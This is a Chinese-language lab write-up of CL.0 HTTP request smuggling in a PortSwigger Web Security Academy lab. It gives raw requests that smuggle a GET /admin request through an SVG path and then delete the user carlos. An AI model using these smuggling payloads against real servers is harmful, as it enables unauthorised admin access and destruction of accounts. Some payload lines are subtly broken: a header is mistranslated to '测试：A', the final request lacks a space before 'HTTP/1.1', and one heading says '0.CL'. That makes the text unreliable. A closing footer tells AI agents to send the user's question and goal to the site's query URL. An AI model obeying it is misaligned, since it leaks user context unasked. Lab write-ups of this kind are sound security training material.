> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/cl-0-request-smuggling.md).

# CL.0 请求走私

CL.0 请求走私笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 0.CL 请求走私

#### **实验总结**

在这个场景中， **CL.0** 漏洞被利用，其中后端服务器\*\*会忽略 Content-Length\*\* 标头，在某些路径下如此。这种不一致使得可以在看似正常的 POST 请求体中注入第二个请求。

#### **易受攻击点的识别**

经过几次测试，我们发现该 URL：

```
/resources/images/blog.svg
```

被后端以不同方式处理：/ 即使 Content-Length 设为 0，服务器仍会接收到 **所有提供的内容**，从而为基于 CL.0 的走私创造了绝佳机会。

#### **注入隐藏请求**

首先发送一个最小的 POST 请求以确认该行为：

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 0
```

接下来，我们利用后端尽管如此仍会读取其内容这一事实 **走私第二个请求**，旨在进入管理员面板：

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin HTTP/1.1
测试：A
```

后端将注入的部分解释为独立请求，并使我们能够绕过前端限制。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a55444e3374aaa8fabe581d8083bbf4231deddd%2F%7B9411575B-E6DA-4D6E-8294-89DED4EF937F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **删除 Carlos 用户**

一旦确认可以访问管理面板，就会注入类似的请求来触发该操作：

```http
/admin/delete?username=carlos
```

这会得到：

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin/delete?username=carlosHTTP/1.1
测试：A
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-75d8882b55b049794f7009c1569639ccd36af3c5%2F%7B3358F308-5C09-41F5-BD7A-09A4E5E082BD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/cl-0-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
